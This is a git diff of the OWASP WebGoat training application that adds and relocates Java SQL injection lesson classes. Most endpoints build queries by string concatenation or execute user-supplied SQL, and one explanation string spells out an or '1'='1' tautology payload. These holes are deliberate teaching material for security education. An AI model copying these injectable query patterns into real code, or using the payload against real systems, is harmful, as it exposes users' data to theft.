"dave"; - try (Connection connection = dataSource.getConnection()) { - String query = "SELECT password FROM user_system_data WHERE user_name = 'dave'"; - try { - Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - ResultSet results = statement.executeQuery(query); - - if (results != null && results.first()) { - password = results.getString("password"); - } - } catch (SQLException sqle) { - sqle.printStackTrace(); - // do nothing - } - } catch (Exception e) { - e.printStackTrace(); - // do nothing - } - return (password); - } + return (password); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionQuiz.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionQuiz.java new file mode 100644 index 000000000..e7c03139a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/advanced/SqlInjectionQuiz.java @@ -0,0 +1,87 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.advanced; + +import java.io.IOException; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * add a question: 1. Append new question to JSON string 2. add right solution to solutions array 3. + * add Request param with name of question to method head For a more detailed description how to + * implement the quiz go to the quiz.js file in webgoat-container -> js + */ +@RestController +public class SqlInjectionQuiz extends AssignmentEndpoint { + + String[] solutions = {"Solution 4", "Solution 3", "Solution 2", "Solution 3", "Solution 4"}; + boolean[] guesses = new boolean[solutions.length]; + + @PostMapping("/SqlInjectionAdvanced/quiz") + @ResponseBody + public AttackResult completed( + @RequestParam String[] question_0_solution, + @RequestParam String[] question_1_solution, + @RequestParam String[] question_2_solution, + @RequestParam String[] question_3_solution, + @RequestParam String[] question_4_solution) + throws IOException { + int correctAnswers = 0; + + String[] givenAnswers = { + question_0_solution[0], + question_1_solution[0], + question_2_solution[0], + question_3_solution[0], + question_4_solution[0] + }; + + for (int i = 0; i < solutions.length; i++) { + if (givenAnswers[i].contains(solutions[i])) { + // answer correct + correctAnswers++; + guesses[i] = true; + } else { + // answer incorrect + guesses[i] = false; + } + } + + if (correctAnswers == solutions.length) { + return success(this).build(); + } else { + return failed(this).build(); + } + } + + @GetMapping("/SqlInjectionAdvanced/quiz") + @ResponseBody + public boolean[] getResults() { + return this.guesses; + } +} diff --git a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjection.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjection.java similarity index 78% rename from webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjection.java rename to src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjection.java index 9aed4181f..a8f68f0f6 100644 --- a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjection.java +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjection.java @@ -20,21 +20,21 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.sql_injection.introduction; +package org.owasp.webgoat.lessons.sqlinjection.introduction; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class SqlInjection extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.INJECTION; - } + @Override + public Category getDefaultCategory() { + return Category.A3; + } - @Override - public String getTitle() { - return "1.sql.injection.title"; - } + @Override + public String getTitle() { + return "1.sql.injection.title"; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson10.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson10.java new file mode 100644 index 000000000..55f802116 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson10.java @@ -0,0 +1,128 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint.10.1", + "SqlStringInjectionHint.10.2", + "SqlStringInjectionHint.10.3", + "SqlStringInjectionHint.10.4", + "SqlStringInjectionHint.10.5", + "SqlStringInjectionHint.10.6" + }) +public class SqlInjectionLesson10 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson10(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/attack10") + @ResponseBody + public AttackResult completed(@RequestParam String action_string) { + return injectableQueryAvailability(action_string); + } + + protected AttackResult injectableQueryAvailability(String action) { + StringBuilder output = new StringBuilder(); + String query = "SELECT * FROM access_log WHERE action LIKE '%" + action + "%'"; + + try (Connection connection = dataSource.getConnection()) { + try { + Statement statement = + connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet results = statement.executeQuery(query); + + if (results.getStatement() != null) { + results.first(); + output.append(SqlInjectionLesson8.generateTable(results)); + return failed(this) + .feedback("sql-injection.10.entries") + .output(output.toString()) + .build(); + } else { + if (tableExists(connection)) { + return failed(this) + .feedback("sql-injection.10.entries") + .output(output.toString()) + .build(); + } else { + return success(this).feedback("sql-injection.10.success").build(); + } + } + } catch (SQLException e) { + if (tableExists(connection)) { + return failed(this) + .output( + "
" + + output.toString()) + .build(); + } else { + return success(this).feedback("sql-injection.10.success").build(); + } + } + + } catch (Exception e) { + return failed(this) + .output("") + .build(); + } + } + + private boolean tableExists(Connection connection) { + try { + Statement stmt = + connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + ResultSet results = stmt.executeQuery("SELECT * FROM access_log"); + int cols = results.getMetaData().getColumnCount(); + return (cols > 0); + } catch (SQLException e) { + String errorMsg = e.getMessage(); + if (errorMsg.contains("object not found: ACCESS_LOG")) { + return false; + } else { + System.err.println(e.getMessage()); + return false; + } + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson2.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson2.java new file mode 100644 index 000000000..5540f31a4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson2.java @@ -0,0 +1,81 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import static java.sql.ResultSet.CONCUR_READ_ONLY; +import static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE; + +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint2-1", + "SqlStringInjectionHint2-2", + "SqlStringInjectionHint2-3", + "SqlStringInjectionHint2-4" + }) +public class SqlInjectionLesson2 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson2(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/attack2") + @ResponseBody + public AttackResult completed(@RequestParam String query) { + return injectableQuery(query); + } + + protected AttackResult injectableQuery(String query) { + try (var connection = dataSource.getConnection()) { + Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY); + ResultSet results = statement.executeQuery(query); + StringBuilder output = new StringBuilder(); + + results.first(); + + if (results.getString("department").equals("Marketing")) { + output.append(""); + output.append(SqlInjectionLesson8.generateTable(results)); + return success(this).feedback("sql-injection.2.success").output(output.toString()).build(); + } else { + return failed(this).feedback("sql-injection.2.failed").output(output.toString()).build(); + } + } catch (SQLException sqle) { + return failed(this).feedback("sql-injection.2.failed").output(sqle.getMessage()).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson3.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson3.java new file mode 100644 index 000000000..f34c9302d --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson3.java @@ -0,0 +1,84 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import static java.sql.ResultSet.CONCUR_READ_ONLY; +import static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE; + +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints(value = {"SqlStringInjectionHint3-1", "SqlStringInjectionHint3-2"}) +public class SqlInjectionLesson3 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson3(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/attack3") + @ResponseBody + public AttackResult completed(@RequestParam String query) { + return injectableQuery(query); + } + + protected AttackResult injectableQuery(String query) { + try (Connection connection = dataSource.getConnection()) { + try (Statement statement = + connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) { + Statement checkStatement = + connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY); + statement.executeUpdate(query); + ResultSet results = + checkStatement.executeQuery("SELECT * FROM employees WHERE last_name='Barnett';"); + StringBuilder output = new StringBuilder(); + // user completes lesson if the department of Tobi Barnett now is 'Sales' + results.first(); + if (results.getString("department").equals("Sales")) { + output.append(""); + output.append(SqlInjectionLesson8.generateTable(results)); + return success(this).output(output.toString()).build(); + } else { + return failed(this).output(output.toString()).build(); + } + + } catch (SQLException sqle) { + return failed(this).output(sqle.getMessage()).build(); + } + } catch (Exception e) { + return failed(this).output(this.getClass().getName() + " : " + e.getMessage()).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson4.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson4.java new file mode 100644 index 000000000..2299becc4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson4.java @@ -0,0 +1,80 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import static java.sql.ResultSet.CONCUR_READ_ONLY; +import static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE; + +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = {"SqlStringInjectionHint4-1", "SqlStringInjectionHint4-2", "SqlStringInjectionHint4-3"}) +public class SqlInjectionLesson4 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson4(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/attack4") + @ResponseBody + public AttackResult completed(@RequestParam String query) { + return injectableQuery(query); + } + + protected AttackResult injectableQuery(String query) { + try (Connection connection = dataSource.getConnection()) { + try (Statement statement = + connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) { + statement.executeUpdate(query); + connection.commit(); + ResultSet results = statement.executeQuery("SELECT phone from employees;"); + StringBuilder output = new StringBuilder(); + // user completes lesson if column phone exists + if (results.first()) { + output.append(""); + return success(this).output(output.toString()).build(); + } else { + return failed(this).output(output.toString()).build(); + } + } catch (SQLException sqle) { + return failed(this).output(sqle.getMessage()).build(); + } + } catch (Exception e) { + return failed(this).output(this.getClass().getName() + " : " + e.getMessage()).build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5.java new file mode 100644 index 000000000..32db401fa --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5.java @@ -0,0 +1,108 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import javax.annotation.PostConstruct; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint5-1", + "SqlStringInjectionHint5-2", + "SqlStringInjectionHint5-3", + "SqlStringInjectionHint5-4" + }) +public class SqlInjectionLesson5 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson5(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostConstruct + public void createUser() { + // HSQLDB does not support CREATE USER with IF NOT EXISTS so we need to do it in code (using + // DROP first will throw error if user does not exists) + try (Connection connection = dataSource.getConnection()) { + try (var statement = + connection.prepareStatement("CREATE USER unauthorized_user PASSWORD test")) { + statement.execute(); + } + } catch (Exception e) { + // user already exists continue + } + } + + @PostMapping("/SqlInjection/attack5") + @ResponseBody + public AttackResult completed(String query) { + createUser(); + return injectableQuery(query); + } + + protected AttackResult injectableQuery(String query) { + try (Connection connection = dataSource.getConnection()) { + try (Statement statement = + connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) { + statement.executeQuery(query); + if (checkSolution(connection)) { + return success(this).build(); + } + return failed(this).output("Your query was: " + query).build(); + } + } catch (Exception e) { + return failed(this) + .output( + this.getClass().getName() + " : " + e.getMessage() + "
Your query was: " + query) + .build(); + } + } + + private boolean checkSolution(Connection connection) { + try { + var stmt = + connection.prepareStatement( + "SELECT * FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES WHERE TABLE_NAME = ? AND GRANTEE =" + + " ?"); + stmt.setString(1, "GRANT_RIGHTS"); + stmt.setString(2, "UNAUTHORIZED_USER"); + var resultSet = stmt.executeQuery(); + return resultSet.next(); + } catch (SQLException throwables) { + return false; + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5a.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5a.java new file mode 100644 index 000000000..59a29ff10 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5a.java @@ -0,0 +1,136 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import java.sql.*; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints(value = {"SqlStringInjectionHint5a1"}) +public class SqlInjectionLesson5a extends AssignmentEndpoint { + + private static final String EXPLANATION = + "
Explanation: This injection works, because or '1' =" + + " '1' always evaluates to true (The string ending literal for '1 is closed by" + + " the query itself, so you should not inject it). So the injected query basically looks" + + " like this: SELECT * FROM user_data WHERE" + + " first_name = 'John' and last_name = '' or TRUE, which will always evaluate to" + + " true, no matter what came before it."; + private final LessonDataSource dataSource; + + public SqlInjectionLesson5a(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/assignment5a") + @ResponseBody + public AttackResult completed( + @RequestParam String account, @RequestParam String operator, @RequestParam String injection) { + return injectableQuery(account + " " + operator + " " + injection); + } + + protected AttackResult injectableQuery(String accountName) { + String query = ""; + try (Connection connection = dataSource.getConnection()) { + query = + "SELECT * FROM user_data WHERE first_name = 'John' and last_name = '" + accountName + "'"; + try (Statement statement = + connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) { + ResultSet results = statement.executeQuery(query); + + if ((results != null) && (results.first())) { + ResultSetMetaData resultsMetaData = results.getMetaData(); + StringBuilder output = new StringBuilder(); + + output.append(writeTable(results, resultsMetaData)); + results.last(); + + // If they get back more than one user they succeeded + if (results.getRow() >= 6) { + return success(this) + .feedback("sql-injection.5a.success") + .output("Your query was: " + query + EXPLANATION) + .feedbackArgs(output.toString()) + .build(); + } else { + return failed(this).output(output.toString() + "
Your query was: " + query).build(); + } + } else { + return failed(this) + .feedback("sql-injection.5a.no.results") + .output("Your query was: " + query) + .build(); + } + } catch (SQLException sqle) { + return failed(this).output(sqle.getMessage() + "
Your query was: " + query).build(); + } + } catch (Exception e) { + return failed(this) + .output( + this.getClass().getName() + " : " + e.getMessage() + "
Your query was: " + query) + .build(); + } + } + + public static String writeTable(ResultSet results, ResultSetMetaData resultsMetaData) + throws SQLException { + int numColumns = resultsMetaData.getColumnCount(); + results.beforeFirst(); + StringBuilder t = new StringBuilder(); + t.append("

"); + + if (results.next()) { + for (int i = 1; i < (numColumns + 1); i++) { + t.append(resultsMetaData.getColumnName(i)); + t.append(", "); + } + + t.append("
"); + results.beforeFirst(); + + while (results.next()) { + + for (int i = 1; i < (numColumns + 1); i++) { + t.append(results.getString(i)); + t.append(", "); + } + + t.append("
"); + } + + } else { + t.append("Query Successful; however no data was returned from this query."); + } + + t.append("

"); + return (t.toString()); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5b.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5b.java new file mode 100644 index 000000000..20225384f --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5b.java @@ -0,0 +1,135 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import java.io.IOException; +import java.sql.*; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint5b1", + "SqlStringInjectionHint5b2", + "SqlStringInjectionHint5b3", + "SqlStringInjectionHint5b4" + }) +public class SqlInjectionLesson5b extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson5b(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/assignment5b") + @ResponseBody + public AttackResult completed( + @RequestParam String userid, @RequestParam String login_count, HttpServletRequest request) + throws IOException { + return injectableQuery(login_count, userid); + } + + protected AttackResult injectableQuery(String login_count, String accountName) { + String queryString = "SELECT * From user_data WHERE Login_Count = ? and userid= " + accountName; + try (Connection connection = dataSource.getConnection()) { + PreparedStatement query = + connection.prepareStatement( + queryString, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + + int count = 0; + try { + count = Integer.parseInt(login_count); + } catch (Exception e) { + return failed(this) + .output( + "Could not parse: " + + login_count + + " to a number" + + "
Your query was: " + + queryString.replace("?", login_count)) + .build(); + } + + query.setInt(1, count); + // String query = "SELECT * FROM user_data WHERE Login_Count = " + login_count + " and userid + // = " + accountName, ; + try { + ResultSet results = query.executeQuery(); + + if ((results != null) && (results.first() == true)) { + ResultSetMetaData resultsMetaData = results.getMetaData(); + StringBuilder output = new StringBuilder(); + + output.append(SqlInjectionLesson5a.writeTable(results, resultsMetaData)); + results.last(); + + // If they get back more than one user they succeeded + if (results.getRow() >= 6) { + return success(this) + .feedback("sql-injection.5b.success") + .output("Your query was: " + queryString.replace("?", login_count)) + .feedbackArgs(output.toString()) + .build(); + } else { + return failed(this) + .output( + output.toString() + + "
Your query was: " + + queryString.replace("?", login_count)) + .build(); + } + + } else { + return failed(this) + .feedback("sql-injection.5b.no.results") + .output("Your query was: " + queryString.replace("?", login_count)) + .build(); + } + } catch (SQLException sqle) { + + return failed(this) + .output( + sqle.getMessage() + "
Your query was: " + queryString.replace("?", login_count)) + .build(); + } + } catch (Exception e) { + return failed(this) + .output( + this.getClass().getName() + + " : " + + e.getMessage() + + "
Your query was: " + + queryString.replace("?", login_count)) + .build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson8.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson8.java new file mode 100644 index 000000000..ae7fbb9f4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson8.java @@ -0,0 +1,163 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import static java.sql.ResultSet.CONCUR_UPDATABLE; +import static java.sql.ResultSet.TYPE_SCROLL_SENSITIVE; + +import java.sql.*; +import java.text.SimpleDateFormat; +import java.util.Calendar; +import org.owasp.webgoat.container.LessonDataSource; +import 